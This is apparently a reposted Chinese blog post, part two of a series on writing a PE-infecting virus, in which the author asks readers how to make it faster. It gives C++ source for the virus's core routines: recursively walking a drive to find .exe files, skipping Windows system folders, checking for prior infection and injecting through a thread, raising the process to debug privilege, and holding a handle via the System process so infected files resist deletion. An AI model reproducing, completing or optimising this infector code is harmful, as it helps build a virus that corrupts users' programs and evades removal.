PE型感染病毒 —— 遍历磁盘PE文件 (2)
自己在测试过程中,感觉效率不是很好,所以希望哪位大佬能提出宝贵的意见,在此深表感谢!1、遍历磁盘中PE文件
/************************************************************************//* 函数说明:遍历感染指定驱动器中所有exe文件/* 参 数:驱动器名称,如C:/* 返 回 值:遍历的数目/* By:Koma 2009.12.18 23:55/************************************************************************/int EmuDiskFiles(LPCTSTR lpStr){CFileFindfd;CStringstrWild(lpStr);CStringstr = fd.GetFilePath(); // 获取每个文件的绝对路径intnTemp = 0; // 最大启动5个线程同时感染BOOLbRet;HANDLEhThread;DWORDdwTid;strWild += _T("//*.*");// 查找类型bRet = fd.FindFile(strWild);// 开始查找while (bRet){// 如果不为空,继续遍历ReEmu:bRet = fd.FindNextFile();// 查找下一个文件if(fd.IsDots())// 过滤目录自身与上层目录continue;else if(fd.IsDirectory()){// 判断是否为文件夹CString str = fd.GetFilePath();// 获取文件夹路径EmuDiskFiles(str);// 继续遍历子目录}else{int nTemp1 = str.Find("WINDOWS");// 如果是XP系统目录则跳过int nTemp2 = str.Find("WINNT");// 如果是WIN2000系统目录也跳过if(nTemp1>0 || nTemp2>0)goto ReEmu;if(str.Find(".exe")>0){// 判断是否为exe扩展名if(!IsInfect(str))// 判断是否感染过{di.m_strFilePath = str; // 设置感染文件的绝对路径hThread = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadInject,(LPVOID)(&diInject),NULL,&dwTid); WaitForSingleObject(hThread,INFINITE);//InfectPE(str);}continue;}}Sleep(10000); // 10秒种遍历一个文件}return 0;}
2、进程提权、保护文件
/************************************************************************//* 函数说明:提升进程权限到debug权限/* 参 数:无/* 返 回 值:无/* By:Koma 2009.12.17 21:20/************************************************************************/void RaiseToDebug(){ HANDLE hToken; HANDLE hProcess = GetCurrentProcess();// 获取当前进程句柄 // 打开当前进程的Token,就是一个权限令牌,第二个参数可以用TOKEN_ALL_ACCESS if (OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { TOKEN_PRIVILEGES tkp; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges.Luid)) { tkp.PrivilegeCount = 1; tkp.Privileges.Attributes = SE_PRIVILEGE_ENABLED; //通知系统修改进程权限 BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0); } CloseHandle(hToken); } }/************************************************************************//* 函数说明:保护文件防止被轻易删除/* 参 数:无/* 返 回 值:无/* By:Koma 2009.12.17 21:42/************************************************************************/BOOL OccupyFile(LPCTSTR lpFileName) { RaiseToDebug();// 提升权限 // 打开syetem进程,打开前必须赋予PROCESS_DUP_HANDLE权限 HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4); if (hProcess == NULL) { hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 8); if (hProcess == NULL) return FALSE; } HANDLE hFile = NULL; HANDLE hTargetHandle = NULL; // 创建一个文件,当然这个文件可以是本来就存在的 hFile = CreateFile(lpFileName, GENERIC_READ | GENERIC_EXECUTE | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { // 文件创建或打开失败 CloseHandle( hProcess ); return FALSE; }return TRUE;}
文档来源:51CTO技术博客https://blog.51cto.com/u_248709/3254282
页:
[1]